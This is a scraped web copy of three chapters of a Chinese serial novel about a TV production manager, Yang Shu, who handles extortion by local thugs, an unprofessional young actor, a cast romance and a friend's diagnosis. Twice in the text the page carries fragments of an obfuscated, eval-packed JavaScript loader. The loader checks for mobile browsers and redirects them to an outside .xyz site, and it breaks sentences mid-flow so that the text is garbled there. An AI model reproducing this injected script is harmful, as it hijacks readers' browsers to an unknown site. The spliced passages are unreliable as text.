《暗昼》是姚澈从业以来开机最快的项目,但她的工作室今年有5部戏的任务,参加完开机仪式,她就回北京了,制片组的事交给杨树全权负责。 杨树在武汉驻扎,开机第二天,剧组出现了小插曲。本地有一群混混得知此处在拍戏,摸过来了,也没干别的,剧组在拍戏,他们在十米开外敲锣打鼓,号称是乐队搞创作。 《暗昼》是实景拍摄,这一带是居民区,混混的音乐声吸引了更多路人围观,很影响剧组正常拍摄。所有人都把目光投向了杨树,她是制片主任,剧组的大小事情都由她摆平。 这伙人一看就不好惹,不能激怒他们,不然他们一通□□,从人员到设备都得遭殃,损失不起。杨树惹住怒火,掏出钱包里的1千多块现金,好言劝他们挪个地方,但混混们嫌少,让她微信转账,杨树转了2千,卖了好一通可怜,混混们相信她的确没话语权,骂骂咧咧地拿钱走人。 拍摄工作继续进行,祁宁给杨树订了小龙虾压惊,杨树没胃口,混混们尝到甜头,迟早会再来,得想办法一劳永逸。 在无锡拍摄《北宋宫事》时,剧组也遭到敲诈勒索。片场门口停了几辆渣土车挡路,道具车和发电车都过不去,姚澈跟他们周旋了半天,掏了一万块钱,然后走黑白两道,把事情搞定。 虽然损失了钱财,但保证了剧组正常进度和人员安全,杨树上报姚澈,从KR网站层面出公函,请求本地文化局和公安局配合。 制片助理安排人手,24小时看护片场,当晚警察敲响了混混家的大门。杨树防止混混们暗中报复,托岑川帮她找找□□关系,律师在这方面不可能没点门道。 岑川通过朋友的朋友找了本地有名的大哥,这件事总算有惊无险地过去了。没两天,剧组波澜又起,谢铠的一个女伴来探班,两人夜夜贪欢,谢铠有时干脆睡到下午才去片场,呵欠连天,台词一句也不会,张口就念1234567,他说反正后期会配音。 钟鲁粤训了谢铠几次,谢铠当面没说什么,但让助理把话传遍了剧组:“一个B组导演出来的,敢教训我?” 谢铠目前不算多红,但一个心里没点数的人,几乎油盐不进。钟鲁粤找杨树:“我让好好改通告单了,先晾着他吧。” 主演不敬业,制片主任自然又得出马。但谢铠视杨树为打工的,用鼻孔看她,祁宁跟杨树说:“这人是个男版的顾叮叮,你看要不要让编剧老师改改戏?” 杨树噎气:“咱们这戏,你是大猫他是老鼠,编剧把他删了,你抓谁?” 祁宁举起两只手掌,对着她啊呜一下,去找老戏骨聊戏。杨树冷冷地旁观谢铠的一举一动,谢铠不把导演和制片主任放在眼里,但很笼络灯光、摄影和化妆等人,他在镜头里美不美,得依仗这些人,杨树想到了治他的办法。 有两天雨太大,排的戏较少,杨树把谢铠喊去剪辑室,让他看粗剪素材。导演团队开机前就确定了画面风格,以深蓝色调为主,画面阴郁冰冷,谢铠耍帅的小动作和表情在镜头里看不太清,只现出佝偻鬼祟的身影,杨树说:“咱们这戏是小成本,不可能给你一帧一帧精修,就算修一修,也只能修脸,仪态神态没法修。” 谢铠不做声,双男主设置,他可不能被祁宁比下去。杨树观察着他的表情,再下一记猛药:“你女朋友还挺上镜的,连监控里看着也漂亮。” 谢铠脸一黑:“你什么意思?” “我正愁我们戏找不到炒作点,谢老师可以配合一下吗?”杨树把话说得很客气,她知道越是这样,就越能惹怒一个轻狂小子。 果然,谢铠瞪起眼,攥紧拳头,杨树毫不退却:“摄像头对着你呢。” 谢铠气咻咻,杨树笑吟吟:“你是觉得开机了,组里不敢换你,但你敢让有些人知道你和女人睡吗?” 谢铠在男团时期有个很要好的队友,两人的CP粉很多,他们对队友和谢铠的称呼是女儿和女婿。谢铠的粉丝自号开饭,纯开饭们嫌卖腐很LOW,都很反感CP粉,每次都义正辞严甩证据:“我们铠铠一看到漂亮姐姐就害羞!” 开饭大多是女友粉,少数是亲妈粉,但亲妈粉也见不得谢铠恋爱。谢铠在人前永远端着一张冷脸,不爱笑,跟任何女人都保持距离,团队给他打造的是不近女色的高冷直男人设。 开饭们普遍认定谢铠拍完戏就窝在房间里琢磨剧本和玩游戏,但谢铠那位大人物金主是个中年男子,而那位队友跟了一个大姐。 来武汉探班的这位女伴是名媛,某集团董事长的独女,剧组都知道她和谢铠的事,但没几个人能把话传到大人物耳朵里。就算传去了,谢铠盛宠在身,辩解几句,大人物只怕就算了。若有人存心坏事,就有些麻烦。 杨树能找关系以暴治暴对付那些混混,跟她把关系搞得太僵犯不着,谢铠一声不吭地离去。 这次谈完之后,谢铠略收敛了些,但天资实在有限,钟鲁粤一场一场地教,他仍演不好,顶多有点阴险感,阴狠感完全出不来。 钟鲁粤让摄影师多拍中远景,少拍特写和微表情,有次还跟杨树抱怨:“咱们这戏也写对双胞胎男主就好了,让祁宁从头演到尾。” 拍摄《西北年轻人》的时候,祁宁观察过演刁民的演员如何把人物演得活灵活现,但一个没编制的协警跟刁民演法不一样,该松垮的时候得松垮,该横的时候得横,该体现职业素养时一秒钟就能抖擞精神,祁宁想演好他,难度不小。 每天演完戏,祁宁就去找酒店边上小区的街坊大爷闲聊。武汉的大爷们吹着电扇,喝着绿豆汤,吹些不着四六的牛,很有协警一角所需要的市井垮气。 警匪戏份同样重要,哪一方表现不佳,整场戏都塌掉,钟鲁粤给谢铠开小灶,谢铠惦记着女伴,很不耐烦。杨树让熊好好把有关于他的重头戏往后挪,等他和女伴过了黏糊劲儿。 谢铠和顾叮叮都是害群之马,但《暗昼》不同于《天作之合》,从头到尾主打双男主的戏份,杨树一肚子怨气,朱青做检查的时间快到了,她飞回北京透气。 朱青没解释太多,但杨树都明白,认识的人虽然多,孤单惯了的人不愿意轻易求助。助理小五跟随朱青多年,但口风不紧,杨树猜朱青不想让更多人知道她生了病,她不喜欢被人同情。 朱青在宣武医院附近订了酒店,清晨,两人走路去宣武医院。杨树作为陪同人员签了字,跑去缴一项临时费用,回来看到朱青蹲在门口抽烟。 朱青穿了一件很宽敞的白T恤,一阵风来,衣服贴在背上,勾勒出蝴蝶骨的形状。时间尚早,杨树站在原地看她,她知道跟脑血管有关的疾病都不轻,可是朱青还这样年轻。 朱青似有感应,转头看杨树,杨树忍住鼻酸,笑着走过去。 医生叫号,朱青进去,一刻钟就出来了。她有点懊恼,整个过程很快,没有任何需要注射麻醉剂的环节,喊家属朋友陪同其实毫无必要,却让杨树千里奔袭。杨树挽住她的胳膊:“看到谢铠就烦,我巴不得走开两步。” 朱青不习惯跟人有肢体接触,因为是杨树,她任由杨树挽着。杨树有些难过,丁盼兮很喜欢朱青,但没能熟起来,她遗憾过,不过人和人是有缘分一说的,不能勉强。 吃完早餐,朱青送杨树去机场,分别时才告诉她,她曾经跟护士争辩过,如果一个人独自在北京,没有家属,也没有朋友,是不是就做不了这项诊断,难道不能通融?护士断然道:“人不可能没朋友。” 朱青单身多年不在话下,但那天她第一次感觉无力,她本想在网上找个陪诊人员,但几个人听说她是脑血管病,都拒绝了。她很少跟杨树讲这些,杨树拉住她的手:“有我。你和秦朗都有我。” 朱青点头,目送杨树去过安检,杨树回头时,她已消失在人群里。也许有些人更习惯孤独,孤独才让她自在。 杨树回武汉后,唐问羽来探班。去年拍完《西北年轻人》,她去演花样滑冰教练,拍到一半,剧组没钱了,东拼西凑才勉强拍完。 影视寒冬仍在持续,唐问羽在家待业,闲极无聊,来武汉探班,给杨树带了一兜瓶瓶罐罐和面膜。杨树看出她其实是来看祁宁的。 6月的武汉很热,组里的工作人员沉迷于小龙虾和凉面,每天都能喝掉几箱啤酒。唐问羽找钟鲁粤弄来一辆摩托车,呜一下,冲到祁宁跟前:“我对武汉不熟,带我逛逛。” 祁宁扭头去看杨树,杨树早走了,唐问羽侧过身,拍拍后座:“来。” 所有人都看向两人,噢噢噢地鬼叫,祁宁呆了一下:“你下来。” 唐问羽挑眉,把头盔抛给他,长腿一撑,飞身落地,院子里的男人们齐齐喝彩:“帅!” 祁宁上车,咕哝道:“花滑教练没白演。” “那是!”唐问羽跨上后座,揽住他的腰,摩托车穿街过巷,停在最热闹的夜市街。 唐问羽暂时没戏拍,不那么在意身材,连吃带喝,好不快活。祁宁硬是被她逼着吃了几口蟹脚凉面,都是艺人,她吃得,他吃不得?警察叔叔不壮实,怎么保护老百姓。 警察叔叔不精干,两下就被匪徒撂翻,祁宁杀进酒店隔壁商场的健身房,练上三小时。有几个老戏骨也在健身,杨树过来找其中之一,唐问羽在祁宁身旁练,警告他别练得太过分,大胸肌不性感,祁宁惊呆了:“不性感?” 杨树和唐问羽相对大笑,等杨树和老戏骨谈完事,祁宁仍有些怀疑:“真的不性感?” 杨树说自己看过一篇文章,练肌肉很花时间,没空修炼别的魅力,所以男人有点长条型肌肉就可以了。唐问羽连声称是:“男人肌肉块太大了,看上去阳刚无趣。” 祁宁看着杨树说:“我想死。” 曾经被杨树从苦水骗回北京,每天待在健身房,每天都拍一张腹肌照,只让一个人看到,可她只是点赞了事,从没找他私聊,原来如此。粉丝们都狂呼要看肌肉照,要舔屏,不都是女人吗,粉丝们真虚伪。 武汉人管溜旱冰叫滚轴,唐问羽弄来一双滚轴鞋,在水泥地上滑行,去年演花样滑冰教练,她真爱上这项运动了,时常会引来一群群演看热闹。 唐问羽和群演们打成一片,还学会了几种本地扑克,笑语喧哗。她是来追祁宁的,明眼人都看出来了,老戏骨问:“没戏演就去找戏啊,跑来找男人,找了一礼拜,人家对你还躲躲缩缩没发现啊?” 唐问羽说:“也没躲吧,揪着他的衣领他也没跑啊。” 老戏骨呵呵乐:“你还真够不矜持的。” 唐问羽嘿笑:“我装矜持趴窝里,就能让他跟我搞对象吗?不能吧。我想搞,就得想招啊。” 老戏骨逗她:“都说说,想了哪些招?” 唐问羽头一抬:“第一步,先把自己送到他面前,看看我成不!我挺好看的,你多瞅两眼呗。” 祁宁下戏,摩托车立刻飞出,又稳稳停在他面前,在众人的哄笑声里,漂亮的男女穿行在华灯里。 唐问羽顿顿都吃小龙虾,祁宁拎着头盔排队,向他张望的人很多,但没人找他签名合照,他怪失落的:“武汉人怎么这么内向,签名我不会拒绝呀,我把名字练得还可以。” 唐问羽嘲笑他:“他们看你,可能就因为你长得高,我也被看了很多下。” 之前没人知道自己是谁,祁宁不遮遮掩掩,出来就戴个棒球帽,但突然有几个女孩尖叫着过来求合影,还大喊:“唐问羽!” 祁宁和唐问羽亲亲密密来吃小龙虾,女孩们懂了,抓着手机猛拍:“你们什么时候官宣!” 唐问羽想解释,祁宁用眼神示意她别说话,店员递上一大份热气腾腾的小龙虾,唐问羽把食盒往女孩手上一塞:“保密费!” 路人们听说明星来了,围上来对着脸拍,七嘴八舌直议论,唐问羽冲人一脸假笑,小声跟祁宁嘟囔:“好烦,我妆都花了,能不能不拍我啊。” 祁宁一把抓着她的手臂,冲开人群跑掉了,摩托车还停在那家店门口,他打电话,让助理过去取,唐问羽问:“你怎么不让我解释?” 祁宁慢吞吞地说:“说你是工作人员吗?” 谢铠上周又换了女伴,飙车时被人看到,他丢下女伴自己跑了。两人照片是抓拍,但被拍得很清晰,传遍了网络,开饭们一窝蜂地冲到谢铠微博下,谢铠否认了,说是工作人员。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091482|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >唐问羽听了笑:“你可以说一起拍戏出来玩。” 祁宁说:“他们一查就知道你没演《暗昼》。一起拍戏是以前的事。” 唐问羽停下来,长睫轻抬,笑问:“我可以要个现在吗?” 祁宁沉默了一下,说:“可我心里预订了和别人的将来。” 唐问羽敛了笑,点头:“好,我知道了。” 照片在网上闹出了动静,路人们感叹,高挑漂亮的男女在街头狂奔如剧照,男主角闯进女主角和他人的婚礼现场,当众掳走了她。 宁粉们可不这么想,他们在路人们的网页上一遍遍澄清,祁宁和唐问羽只是朋友,但在粉丝群里疯狂刷屏,求祁宁辟谣。 少数人脱粉了,一被拍就逃了,铁证如山,有几人怒冲冲黑起祁宁。唐问羽敷着面膜跷着脚说:“像两只扑腾的大蛾子。这比喻!带劲。嘿,她们有你这么多丑照啊。” 祁宁抢过手机看,气歪了脸。丑照,他看熟了,没新意,不生气;发丑照的人,也看熟了,号称忠实粉丝,连篇累牍地给他发私信,一发几十条,倾诉她的日常小烦恼,他无意间扫过两眼,印象中好像回复过一两句话,但一张跟唐问羽的合照,就让她粉转黑,把他黑得透透的,他很生气,很。 柳艳给祁宁打电话,让他辟谣,祁宁情绪很大:“有什么好说的,问羽说懒得惯他们,我赞成。” 这小子一向是刺头,柳艳怒摔电话,转而找姚澈,姚澈找杨树:“让官博多放松几张剧照,只放祁宁的。” 杨树说:“啊?” 姚澈说:“只放祁宁的,谢铠家粉丝才会闹,让他们闹去。” 杨树知道姚澈想借绯闻的势头宣传《暗昼》,去健身房找祁宁:“为什么不表态?” 祁宁看着她说:“今天私下拒绝她了,不想公开再拒绝一次。” 杨树回避他的眼神,转身去找钟鲁粤,把剧本里一个省里下来协助办案的高人改成女人,让唐问羽来演。 高人是身手不凡的特警,有十几场戏,演员还未定,钟鲁粤问:“让女的演?” 杨树说:“是男是女,这个角色都成立,为什么不能是女的?” 唐问羽演过几部古装剧,有一点武打基础,但演特警,一招一式得重新学习,杨树把她丢给顾问,自己跟熊好好起草《暗昼》官方声明,不外乎是有幸请到唐问羽友情出演剧中的神秘高手,剧组期待她和祁宁第二次合作云云。 声明并未澄清两人是否恋爱关系,但粉丝们只会相信他们愿意相信的。他们欢喜笑闹:“就说吧,你们想多了!那里那么多人,宁宁当然要跑啊,不跑还等着被老女人连累吗?” “抓下胳膊而已,又不是手拉着手,有本事你们放出接吻照!” “一张照片就锤他们恋爱,你们说,是不是开饭在挑事?” “宁宁以前被老女人压番,现在她只能给他作配!” 《暗昼》的原著作者是男性,笔下的女警察是同类型小说里最常见的“警花”,塑造得特别刻板,在故事里就三个作用:负责请教各路好汉,帮助读者理解剧情;承受上司劈头盖脸地训斥,含泪为男神探做好后勤工作;被男神探俘获芳心。 方雯和章嘉敏在剧本里把女警察改成支队长,协警是她手下的干将之一,感情戏份都删光了,观众看刑侦剧不是奔着警花仰慕男神探去的,可有可无的元素,删。 特警戏份不多,但都是动作戏,拍起来很累,唐问羽坚持分文不收,她来武汉,是来追男人的,客串是顺便。去年拍花样滑冰,没空追男人,等到她有空,男人在河北草原拍戏,如今唐问羽录完一个综艺节目,终于能来武汉大展身手,可惜出师不利。 当上制片主任以来,杨树第一次杀熟成功,她象征性地给了唐问羽一点片酬,唐问羽让她将来有好角色再找她。 特警的戏份排得较后,唐问羽每天勤加观摩学习,穿上制服更显英姿飒爽,但谢铠不加掩饰地表达了对祁宁的鄙夷,他找个大五岁的老女人,自己玩的全是十几二十来岁的千金大小姐。当初,祁宁把自己做的反派案头工作转给他,他就烦上祁宁了,什么意思啊,就他会演戏啊,演技真好的话,至于混了几年还红不了吗。 剧组大多是糙老爷们,没人喜欢谢铠,但他有自己的娱乐方式,名媛刚走一个,就又来一个。杨树跟丁盼兮抱怨:“他怎么那么忙啊!” 丁盼兮说正常,20岁的男孩子哪有精力不旺盛的,她啪一下,给杨树丢来谢铠跳舞的视频,杨树点开看,谢铠的街舞充斥大量的性暗示,不乏甩腰顶胯,对着舞台地面做快速□□的动作,丁盼兮说:“他连地板都日,我要是有钱人的女儿,我也想尝尝他。” 谢铠喜好名表,每个名媛都给他送过,他每天换着戴,有时一口气戴三只,他说潮人都这么戴。钟鲁粤总让他把表都撸掉,演个杀人犯,那么招摇是想一集就死吗? 副导演没少吐槽,谢铠这作派,很像他以前打过交道的某演员。演员长了一张正气凛然的脸,常演年代剧,穿制服很像那回事。副导演去找演员谈合作,演员迟到两小时,进屋脱掉外披的大衣,手腕上戴上七八只表,只只上百万,他拍拍表,炫耀说都是官太太赠送的。 杨树问:“他不知道自己是被女人采集了吗?” 副导演说:“他是男的嘛,男人觉得自己不亏。” 有天美术组正在换景,导演助理给群演排练下一场的走位,正是混乱时,朱青发来微信,她拿到增强MRV结果,被确诊为脑静脉窦重度狭窄。杨树停下手头工作,花了五分钟查资料,打去电话。 朱青的语气很平静,她的病因不明,医生开了药,让她服用一年随访,如果症状加重,可能要搭个支架,把血管撑开,避免脑缺血引起脑梗死。杨树忍住泪:“我能做些什么?” 朱青自自然然地说:“如果以后要做手术,你陪我几天。” 杨树应了一声好,去落实下周的片场。《暗昼》的拍摄场地有40来个,每次转场都得提前准备,除了把人员都装到车上,还有各种设备,有的非常昂贵,尽管投了保险,但尽量不走到那一步,免得耽误进度。 77. 第 77 章 不论钟鲁粤怎么教,谢铠还是常常演砸。杨树和钟鲁粤一再看素材,角色该有的阴狠脆弱,他都演得愚蠢猖狂,倒是本色出演了。 反派太蠢,正派的胜利就不那么好看。杨树召唤编剧方雯再改改谢铠的戏份,既要顺滑衔接剧情,把人物立住,又得避免出现太让观众替谢铠尴尬的场面,尽量让他不太露怯。她再烦此人,也得为观众贡献能看的戏吧。 谢铠很快又闹幺蛾子,按剧情设置,匪徒有一场水下逃生戏,但他死活不愿意下水。钟鲁粤苦口婆心劝他,谢铠说他溺过水,童年阴影很深。 钟鲁粤放弃实景,杨树让人去弄两米深的水缸,谢铠仍不肯,还质问为何非得设计一个长镜头,拍正反打就行。 钟鲁粤解释逃生是重场戏,用一气呵成的长镜头更惊心动魄,有连贯感,正反打会切分掉镜头,节奏一下子就掉下去了,但谢铠要求用替身,给自己切个面部特写就行,钟鲁粤吼道:“谢老师,你帮个忙!” 谢铠冷笑:“我把整张脸浸到水里去,已经够配合了,我是真的很怕水,吓出心律不齐,一个星期都拍不了戏,导演你负责吗?主任你说呢?” 杨树无比怀念单明玉,无比想大嘴巴抽谢铠,再把他摁到水缸里,看他挣扎得水泡直冒。 一百多号人都等着,时间浪费不起,钟鲁粤放弃讲道理,谢铠有个替他走位的替身,让他顶上。 每当被谢铠气得踢墙,杨树就去找唐问羽玩。哪里有唐问羽,哪里就有欢笑声,她总在买零食给大家吃。 《暗昼》是男性向,剧组的女人不多,但都很喜欢唐问羽,有空找她请教保养之道,32岁了,看着还像大学刚毕业。 祁宁接到了新角色,《西北年轻人》的美术指导接了一个仙侠剧,介绍他演剧中的上仙。虽然是友情客串,只有几十场戏,但片酬比演《北宋宫事》的赵元僖高,祁宁把剧本发给杨树:“你先帮我看。” 剧本写得很一般,上仙的人设也不稀奇,仍是仙侠剧里最常见的“太上而不能忘情”,但是好这一口的会一直好下去。杨树建议祁宁接拍,她看得出来,编剧很喜爱这个角色,写出了俯首低回的深情,再怎样云起云灭的壮阔人生,都有过无可奈何的痛失,这一点非常打动人。 唐问羽演特警期间,也在看新剧本,好日子过到头了,不能再像以前那样挑来挑去,有不错的角色就都接着,她害怕被人遗忘。 拍完特警的戏份,唐问羽一阵风地去演生活剧的女二号,正如她一阵风似地来。杨树安排司机送她,祁宁说声慢走,埋头看剧本。杨树低头看他,他演协警有点糙汉感,头发留得比小平头长些,后脑勺被人扎了一个小鬏鬏,像小猫的尾巴尖,让人想揪。 《暗昼》拍到最后阶段时,谢铠又惹事了。他和一个饰演被害者的小艺人睡了,但一开始他不知道,小艺人其实是摄影师的情人,摄影师治谢铠还不简单,他本来就挑角度,那就专逮他不好看的角度使劲拍呗。 谢铠发现了,拍完戏,他把小艺人提溜到摄影师的太太跟前:“你老公养着她,一个月给三万。” 摄影师的太太从开机就住在组里,每天给摄影师洗衣做饭炖汤,摄影师什么人,她不比谢铠清楚,要他多嘴?当然,闹一闹没坏处,她扑向谢铠,照准鼻梁轰上去,再使劲抓他的脸:“叫你坏我老公名声!叫你坏我老公名声!” 谢铠的脸青一块紫一块,太太以迅雷不及掩耳之势,对着他连拍几张:“照片我收着,刚才我还录了一段,你再乱嚼舌根,就等着我爆料吧。这次只招呼你的脸,你不是会跳舞吗,敢有下次我就敲断你腿骨,说到做到。” 薅着小艺人的头发揍完,太太去找摄影师,眨眼功夫,又一个大牌包到手。 看到太太给组里的人群发的谢铠照片,杨树和钟鲁粤恨不得仰天长啸,谢铠又该歇着让替身上了。 熊好好是杨树的包打听,听闻太太的彪悍事迹,杨树猛拍大腿,大快人心啊,拍完大腿去找谢铠,不把他训成孙子不罢休。 时间很晚了,整栋楼大部分人都睡了,杨树敲门,里面没有动静,她给谢铠打电话,却隐约听到手机铃声从门缝传出。 杨树回到剪辑室看素材,谢铠三天两头掉链子,但刑侦剧只看情节倒也看得下去,不过组里所有人都说:“傻×永远不知道他浪费了一个怎样的角色。” 酒店位于郊外,院子里有口老井,据酒店的人说,这一带以前是村庄,老井是民国时挖的,他们盖酒店时没破坏它,当成一个小特色。老井的水很沁凉,生活制片总在里头镇点西瓜和啤酒。 杨树忙完,去院子里找酒喝,刚走出楼梯口,便望见谢铠了。他拿着一瓶酒,既饮且舞,顾盼回首,似醉非醉,似癫非癫,身穿的白衬衫很宽大,在夜风里飘摇,看上去像楚文化里的一只巫。 整容为谢铠带来后遗症,尤其是鼻子,他动了几次,总觉得鼻腔里有异物感,手边常备生理盐水和棉签清理。平常见他,总是僵着脸,虽然粉丝说他清冷似雪山。 杨树觉得倒也贴切,雪会冻死人,融化时还显脏相,但此刻他无声地跳一段很即兴的舞,那脏雪啊,就化成了地上斑驳的月光。 他不是个好演员,连演员都算不上,但他的舞跳得还不错,付出了多少汗水和艰辛,是想得到的事。人就是这么复杂的,一个勤奋的人可能乏味,一个脾气暴躁的人可能是行业翘楚,一个不怎么样的人可能是出色的舞者。 月照亮了夜,谢铠回头,杨树很意外地看到,他在哭。泪水爬满他那张被人揍过的脸,看着近乎狰狞,杨树一言不发,抱着手臂走了。 第二天,谢铠的助理替他告假,他飞韩国做修复手术了。谢铠的鼻梁骨取的是自己耳后的一小块软骨,被摄影师的太太打歪了,助理给他捏了半天,还是捏不正。隆鼻手术是不能做太多次的,杨树想,他大概是真的害怕了。 听闻谢铠的脸毁了,经纪人起初还想追究剧组的责任,但杨树一句话堵住他的嘴:“十几个小姑娘来找过他,都有监控,你要不要看看?” 谢铠不能再拍后续戏份,所幸只剩30多场还没拍,姚澈找谢铠的经纪人谈了条件,谢铠的脸修复后,无偿给她一个月时间,除了没拍的戏份,但凡导演认为应该重拍的戏,他都得再拍。 谢铠的戏份涉及到部分跟祁宁的对手戏,祁宁承诺届时一定协调时间配合剧组,杨树说:“我让姚总给你加钱。” 祁宁问:“杨主任不是整天哭穷吗?” 杨树伸个巴掌:“重拍还得再租场地,再花钱,老板加了这个数,有一部分必须是你的。” 剧组驻扎的酒店顶多三星级,监控设备并不完备,杨树当初拿监控耍诈,旨在敲打谢铠,但谢铠让助理去查了,一团模糊,看不出谁是谁,他谅杨树也不敢在他房间安监控,玩得更猖獗。 然而,除非你什么事都别干,干过必留痕迹,有痕迹就有办法捕捉。杨树手里攥着大把证据,这是唐问羽提醒她的:“这人早晚还得惹事,他是明星,上头只会骂你,你得搞点东西傍身。” 摄影师的太太把男主角揍得拍不了戏,其实包括杨树在内的众人都得挨训,杨树把证据打包发给了副总裁。副总裁批了5百万的重拍费用,杨树和丁盼兮连夜做了预算,估计能省个一百来万,到时候都给宁宁。 回归后的谢铠能不能改进工作态度,杨树跟熊好好打了赌,但她想并不会,人最难对抗的永远是自己。 历时57天,《暗昼》杀青,祁宁没参加杀青宴,飞去一个院线电影剧组。二少爷为他带来的好处很显性,导演觉得他是好苗子,应邀执导这部民国背景的电影时喊上他,同样不是主角,但是好角色,等他拍完电影,再去客串上仙。 回京刚喘上气,杨树接到新任务,姚澈工作室9月底要开特情剧《狼穴》,仍由杨树担任制片主任。 特情剧是谍战剧、反特剧和国安剧的统称,都得先经过国安把关,再送到地方广电局审查,拿到发行许可证才能播出,想上卫视,则需要交给广电总局审查,虽然层层审核,但它是全年龄向,有着不错的投资 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16091483|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回报。 《狼穴》投资约为300万一集,台网发行价格为500-600万一集,KR网站意向是网台联播,网络版权除了自家网站,还想分销到另外几家。 《狼穴》本来是另一个工作室的项目,但制片人抑郁症发展到身体机能损坏,行走不便,副总裁很重视它,转给了姚澈。 原制片人40来岁,早些年离异,男朋友是个小艺人,长相尚可,演技不可,动不动就辱骂制片人无能,不能给他男一号男二号,急了就打人,打完跪地认错,认完了再打。熊好好跟杨树说:“她都当上制片人了,为什么不让他滚?” 一个在情感中低自尊的女人,社会地位再比男人高也枉然,杨树心里有点堵:“为什么不让他去死?” 眼下已是7月,《狼穴》剧本却才写了5集,只能边拍边写,杨树以为演员档期签死,所以才仓促开机,但姚澈说网站得给投资人看业绩,给她加了任务。杨树心里一动:“我多策划几个项目,都有立项的机会?” 好点子不易得,杨树琢磨了数日,只想到一个选题:你们为什么那么能忍?她说过,绝不容忍枕边人出轨,但生活中,忍受的何其之多。 若是经济条件不大好的,杨树尚能理解,可是从《大唐银楼》的女主角大咖到《北宋宫事》的女主角黎俏,再到《暗昼》摄影师的太太,她们都不离开那无尽屈辱的婚姻。还有《狼穴》前制片人,她何以意识不到,那不是个好男人,放眼望去,世上还有亿万人。 杨树把这几年一直合作的女编剧们拉了群,欢迎她们头脑风暴,女性主义的表达只能由女编剧来做,不能指望男性创作者。 这个选题让女编剧们都感兴趣,但它很尖锐,方雯对《三十难立》夭折心有余悸,但杨树只想把新选题做个10集左右小而精的网剧。网剧的限制没上星剧多,只要选题能被副总裁认可,这戏就能做。 《狼穴》正式启动筹备,姚澈谈定单明玉执导,但单明玉还没做完《北宋宫事》后期,剧本仍交给杨树主抓。 现责编阿岚是KR网站的员工,二十四五岁的样子,大学毕业就进网站了,看剧本喜欢强调“网感”和“脑洞”,但《狼穴》是很正统的电视剧规格,杨树进入较晚,喊上阿岚开会。 《狼穴》写的是抗战时期,共产党女情报员只身潜行于日伪特务机构76号,与敌人斗智斗勇,编剧用点心,情节就不会太难看,但网站拿着前5集剧本敲定了男女主角后,后面的剧本时有整段坍塌的地方。 女主角与狼共舞,敌友身份不明,任务艰巨紧迫,这都是传统戏剧的设置,正常发挥至少能看,但从第6集开始,编剧像未经训练的新手,扔不出攥住观众心脏的钩子,杨树怀疑它像《大唐银楼》一样,名编剧挂帅,实操者是枪手。 《狼穴》是IP改编剧,作者是名作者,小说在网上数据很好,文字和节奏都圆融,但没给人物注入感情,从主角到配角都是工具人,这是需要编剧优化的地方,但编剧放大了缺点。 谍战剧最大的魅力是信仰至上,改编时一定得赋予这种情感以灵魂,让观众被舍生忘死打动。杨树约出编剧团队,跟主笔编剧深聊,对方说了实话,他的工作室日常支出不菲,补完税奄奄一息,有项目找来舍不得拒绝。更要命的是,前年写个大纲就停了的项目突然启动了,也有搁浅的项目被演员看中,又恢复生机了,一时间,所有事都涌过来了。 既想要进度,也想要质量,仿佛是竭泽而渔。杨树很伤脑筋,她想找自己熟识的好编剧加入《狼穴》,但方雯和甘棠等人各自有项目在做。 朱青引荐的编剧薛潇加入团队,帮杨树梳理和完善现编剧的剧本。薛潇写过3部谍战剧,长于情节,有巧思,但他写情感糙了一点,杨树让章嘉敏给他当助手,章嘉敏是新手编剧,很需要有人多带带她。 杨树做东,请薛潇和章嘉敏一同吃饭碰个头。章嘉敏情绪不太好,等薛潇走后,她才说丈夫被学生举报,抑郁症复发了,以头撞墙,从照片来看很是惨烈,她得回甘肃一趟。 78. 第 78 章 章嘉敏的丈夫在中学兼职,课间跟学生闲谈,对十..年浩劫持有批判态度,被学生录音举报了。他们责备老师不爱国,负能量太重,还发到网络上,校方辞退了老师。 学生在课堂上玩手机游戏、看网络小说,被训斥了,因此才举报了章嘉敏的丈夫,他指责校方不能成为学生狭公权泄私愤的武器,但没人听他的。 丈夫回了家,过暑假回甘肃的女儿发现爸爸有自杀倾向,每次他上天台抽烟,爷爷奶奶都亦步亦趋地跟着。 丈夫说他不会自杀,不能让父母白发人送黑发人,但时常无缘无故地流泪,他说没人跟他说话,但父母跟他说话,他又说让他静一静。 婆婆跟章嘉敏发牢骚,小年轻说几句屁话,干嘛往心里去。章嘉敏为丈夫悲哀,亲人们理解不了他,学生们更不明白他们毁掉了什么,当然,他们也不想明白,明白人干不出举报这种垃圾事。 章嘉敏连夜回甘肃,更多是为了女儿。丈夫的情绪会影响女儿,她得把女儿接到身边。 章嘉敏回北京快一年了,她向杨树坦言过,烦躁多过担心。她曾经选择陪伴丈夫,但本身内心不算强大,当面对一个如黑洞般的人,不仅不能拯救,还得花更多力气避免被吞进去。 温柔和爱被一点点消耗,不离婚,大约出于人道主义,跟一个抑郁症患者割裂,会加速摧毁他。杨树注视着窗外的大雨,给她关于“你们为什么那么能忍”的选题命名为《红雨》。整体基调也定下了,走细腻风格,探寻两性关系,探寻人性幽微处。 甘棠提供了一个思路,穷困女孩受限于教育程度,还缺乏经济权,在婚姻上是不自由的,天下之大,并没有太多可去之处,也有讨论价值。杨树和她电话聊了几小时,几组人物关系都有了轮廓,《红雨》可以着手做剧本大纲了。 朱青来KR网站接杨树下班,吃完晚餐,一起去南锣鼓巷喝点小酒,她决定离开北京。 